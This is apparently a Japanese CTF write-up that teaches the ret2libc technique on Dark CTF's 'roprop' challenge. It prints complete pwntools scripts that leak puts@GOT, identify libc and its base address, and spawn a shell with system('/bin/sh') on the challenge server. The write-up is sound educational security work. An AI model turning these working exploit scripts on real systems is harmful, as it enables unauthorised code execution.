libcを特定する一般的なテク
0. はじめに
Buffer Over Flow 系のpwn やってて、こんな事を考えた事はありますか?僕はあります。
ヨシ、gdb で入力からリターンアドレスまでのオフセットを特定!後は system('/bin/sh') 起動するだk... libcが配られてなあァァい!!
そうです、ほとんどの問題でASLRが有効となり、猫も杓子も libc_base の時代に libc があるかは死活問題。しかし、逆に言えば libc_base と libc さえ特定してしまえば後は何とかなります(要出典)。
というわけで、 libc を特定する一般的なテクについての紹介です(かなり有名ではある)。
問題は、Dark CTF の roprop です。
1. 入力からリターンアドレスまでのオフセットを取得しよう
はい、Buffer Over Flow系の問題の基本ですね。gdb-peda は必ず入れておきましょう。
pattern_create [n]
→ 入力 → patto [rspの値 (32bitならeip) ]
の流れです。
はい、ここでは88文字と分かりました。
2. objdumpで流れを把握しよう
objdump -d -M intel [ファイル名]
です。-M intel
は Intel 記法にするおまじないです。
大体 puts
→ gets
以外に重要なものはなさそうです。
3. ROP で puts@GOT の中身を取得しよう
GOTアドレスの先には、その関数の本当の場所のアドレスが入っており、puts や system などの libc 系の関数の場合、それは libc_base + libc内の関数アドレス になります。
要は、取り敢えず puts のアドレスを取得しようという事です。
Buffer Over Flowでリターンアドレスの書き換えができるので、puts(puts@GOT)
を呼び出せば puts@GOT
の中身を知る事ができます!
64bit なので、Stack align で ret
を挟むのを忘れずに(おまじない)
関数のアドレスを吐かせる時には、必ずローカルではなく本番環境で行って下さい。ローカルのlibcを特定しても何も意味がありません。
from pwn import * elf=ELF("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr))
はい、これで puts@GOT の中身を知る事ができました。
4. libc Database で libc , libc_base を特定しよう
世の中便利なもので、先程のputsのアドレスだけで libc を大体特定する事ができます。2択くらいになる事はありますが、まぁそれくらいは頑張りましょう...
今回は libc6_2.27-3ubuntu1.2_amd64
と特定できたので、これをダウンロードします。
libc が分かった所で、libc_base を特定する事ができます!関数のアドレスは libc_base + libc内の関数アドレスな事を思い出して下さい。
from pwn import * elf=ELF("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address))
libc_base は 下3桁が0な事が知られているので、ちゃんと特定できている事が分かります。なお、ASLR が有効なのでlibc_base は毎回変化する事に注意しましょう。
5. いざ、system('/bin/sh')
さて、後は libc_base を利用して system('/bin/sh')
を呼び出すだけです。あれ、main 関数終わったんじゃ...と思った人もいるかもしれませんが、puts を呼び出す事ができるようにmain関数を呼び出す事もできます!
というわけで、2周目の main 関数の後で system('/bin/sh')
を呼び出します。
from pwn import * elf=ELF("./roprop") #p=process("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") # 1周目 payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) rop.main() log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address)) # 2周目 rop2=ROP(libc) payload=b"A"*88 rop2.system(next(libc.search(b"/bin/sh\x00"))) log.info(rop2.dump()) payload+=rop2.chain() p.sendlineafter(b"19's.\n\n",payload) p.interactive()
というわけで、無事に シェルを起動できました。やったね!
pwntools のROP機能 を使うと、このように良くも悪くも関数呼び出し系のルールがうろ覚えでも何とかなってしまいます。なので、多分最初の内はpwntools の ROP 機能は使わない方がいいかも...
もっと最初で、pwn始めたばっかり!ってレベルの時は、そもそもpwntoolsを使うのもあんまり良くない気がします。
BOF問で、SSP & PIE 無効 & 何らかの入力と出力がある問題は広く使えると思うので、覚えておくといいかもしれません!